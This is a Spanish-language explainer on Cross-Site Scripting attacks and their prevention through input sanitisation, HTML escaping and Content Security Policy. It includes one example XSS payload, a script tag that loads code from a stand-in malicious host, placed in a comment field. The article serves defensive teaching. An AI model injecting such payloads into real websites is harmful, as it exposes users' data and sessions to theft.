XSS se corresponde con el acrónimo de Cross-Site Scripting y es un tipo ataque informático que consiste en la introducción de código malicioso desde otros sitios que es capaz de ejecutarse en el cliente. Se trata de uno de los ataques de seguridad más extendidos en la web, popular desde el inicio de la web.
Cómo funciona un ataque XSS
El ataque por XSS consiste en la introducción de código en el sitio web atacado, de modo que cuando un usuario legítimo lo use, el atacante pueda robar su información, o incluso ganar privilegios de administrador si el usuario los tenía.
La introducción del código malicioso se puede realizar de diversas maneras, pero siempre aprovechando vulnerabilidades en las aplicaciones web.
Por ejemplo, en el sitio web puede existir un área de comentarios enviados por el usuario. Si estos comentarios no son debidamente sanitizados sería posible que el atacante escribiera algo como
Esto es un comentario… <script src="https://sitio-malicioso.com/script-atacante.js"></script>
Si ese comentario se publica tal cual en la página web atacada, se cargará en su contenido un script de un sitio malicioso, lo que daría como resultado la posibilidad de ejecutar código de cualquier tipo en el navegador, lo que potencialmente pondría al descubierto cualquier tipo de interacción del usuario con la página atacada.
También se podría introducir este ataque por medio de otras etiquetas como el iframe, o por medio de cualquier otra vía más sofisticada.
En ocasiones, ni siquiera es necesario que el código malicioso sea almacenado en la base de datos. Muchas veces la propia página web muestra contenido enviado por el usuario. Por ejemplo, cuando buscamos en Google en las páginas de resultados aparece el mismo texto que estamos buscando. Si ese texto no se ha validado y sanitizado correctamente antes de mostrarlo en la página podría darse el caso de introducción de código malicioso. Este sería un ejemplo de ataque XSS no persistente, que es el más común en la actualidad.
Cómo evitar los ataques por XSS
La manera más básica de evitar ataques por XSS consiste en validar y sanitizar toda la entrada de datos del usuario. Cualquier dato introducido en la página por los usuarios lo tenemos que considerar poco seguro y, por lo tanto, nunca debemos confiar que no puede resultar en un ataque.
Especialmente, cuando esos datos luego se van a volcar dentro del propio sitio, como un sistema de comentarios donde los mensajes enviados por los usuarios aparecerán más tarde como contenido del propio web, es de suma importancia realizar todo tipo de operaciones que aseguren que las cadenas de texto introducidas son inofensivas.
Todos los lenguajes de programación tienen mecanismos para validar y sanitizar, siendo importante que estas operaciones se realicen del lado del servidor, pues es el entorno donde podemos estar seguros que nuestro código de validación y sanitización será ejecutado sin alteraciones.
También es clave usar mecanismos que nos aseguren que los datos volcados en la página son inofensivos. Por ejemplo, convirtiendo cualquier valor de una cadena en sus caracteres especiales del HTML, tal como se hace con las funciones htmlspecialchars() o htmlentities() de PHP.
Content Security Policy (CSP) para prevenir ataques XSS
Recientemente los navegadores han incorporado una nueva herramienta para evitar la mayoría de los ataques XSS debidos a la inyección de contenido desde otros sitios web.
Se trata de una técnica que ya hemos explicado en otro post anterior, por lo que os recomendamos la lectura del artículo sobre Content Security Policy.
Dónde profundizar sobre los ataques XSS
Un sitio que recomendamos para profundizar en todo lo relativo a la seguridad de los sitios web es OWASP, que es una fundación dedicada a la seguridad. Las siglas de OWASP corresponden con Open Web Application Security Project. Por supuesto, uno de los ataques a los que dedican más información es XSS. Podemos acceder a su descripción completa en la página de XSS de OWASP.